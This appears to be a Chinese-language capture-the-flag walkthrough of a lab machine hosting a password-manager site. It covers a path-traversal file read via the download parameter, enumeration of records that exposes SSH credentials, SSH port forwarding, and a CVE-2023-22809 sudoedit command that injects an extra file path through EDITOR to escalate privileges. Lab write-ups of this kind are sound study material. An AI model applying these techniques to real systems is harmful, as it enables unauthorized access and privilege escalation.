Overview
质量比较高的中等难度的机子
Enurmation
Nmap
Host is up (0.38s latency).
Not shown: 952 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Web
这个站点存在默认密码 admin:admin
这是一个密码管理页面。
但是登录进去并没有什么用
LFR
目录扫描,扫描到了 /download 页面
访问这个页面,发现报错了。似乎是我们熟悉的 Flask 页面。查看关键部分的代码
似乎是传 fn
参数进去可以读取文件。而且我们还知道绝对路径 /app/app/superpass/views/vault_views.py
这就试试,发现报错了。
怎么回事呢?上上 SSRF 的字典。总是有一些奇怪的原因。发现只要加上 ..
就可以读取文件
可以看到一些用户名
经过了许多的枚举。
/app/app/superpass/infrastructure/view_modifiers.py
/app/app/superpass/services/user_service.py
/app/app/superpass/templates/vault/vault.html
我尽可能读取到了我能够读取的文件。比如:vault_views.py
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')
@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
passwords = password_service.get_passwords_for_user(current_user.id)
print(f'{passwords=}')
return {'passwords': passwords}
@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
p = Password()
p.password = get_random(20)
#import pdb;pdb.set_trace()
return {"p": p}
@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
return ''
p = password_service.add_password(site, username, password, current_user.id)
return flask.render_template('vault/partials/password_row.html', p=p)
@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
flask.abort(500)
p = password_service.update_password(id, site, username, password)
return {"p": p}
@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
password_service.delete_password(id)
return ''
@blueprint.get('/vault/export')
@login_required
def export():
if current_user.has_passwords:
fn = password_service.generate_csv(current_user)
return flask.redirect(f'/download?fn={fn}', 302)
return "No passwords for user"
@blueprint.get('/download')
@login_required
def download():
r = flask.request
fn = r.args.get('fn')
with open(f'/tmp/{fn}', 'rb') as f:
data = f.read()
resp = flask.make_response(data)
resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
resp.mimetype = 'text/csv'
return resp
Foothold
user.txt
我尝试寻找各种能够 SSTI 的,结果一无所获。在绝望之际,别人告诉我,你只需访问 /vault/row/9
就可以读取到 ssh 用户名和密码。至于为什么是 9,他说是枚举出来的。太离谱了,这个逻辑。你想想我本身就是 admin,我居然要枚举到 9
corum:5db7caa1d13cc37c9fc2
然后就可以得到第一个 flag 1b6906d6f55ee64fb099a39524b6aa5a
上传了 linpeas.sh
发现存在 test.superpass.htb
Road To Root
SSH Port Forward
但是是运行在 5555 端口上面的,由于目标机器上面并不开放 5555 端口,因此我们无法直接访问。因此需要使用端口转发,这里用 ssh 的端口转发
ssh -CfNg -L 5555:127.0.0.1:5555 [email protected]
然后就可以在本机上面直接访问 5555 端口了
还是跟第一 flag 同样的步骤注册用户进行遍历简单试了一下
得到 用户的 creds edwards:d07867c6267dcb5df0af
CVE-2023-228809
ssh 连接上去,发现存在 sudoedit 的权限
读取这两个文件并没有什么有用的信息,但是经过查询发现 CVE-2023-22809
https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466
查看 sudo 版本发现在漏洞范围内
top -c
发现奇怪的脚本运行
进行读取,发现又执行了 /app/venv/bin/activate
的内容
正好 activate 是可以运行 dev_admin
用户执行的
经过测试目标主机上存在 vim
因此执行
sudo -u dev_admin EDITOR="vi -- /app/venv/bin/activate" sudoedit /app/config_test.json
尝试添加(我也不知道 runner 用户是不是 root 权限执行这个脚本,先试试,不行的话至少还可以弹一个 runner 的 shell)
没一会
收工
End
质量在提权部分显得比较高,但是前期的漏洞利用就一个遍历就拿到 shell 了显得美中不足。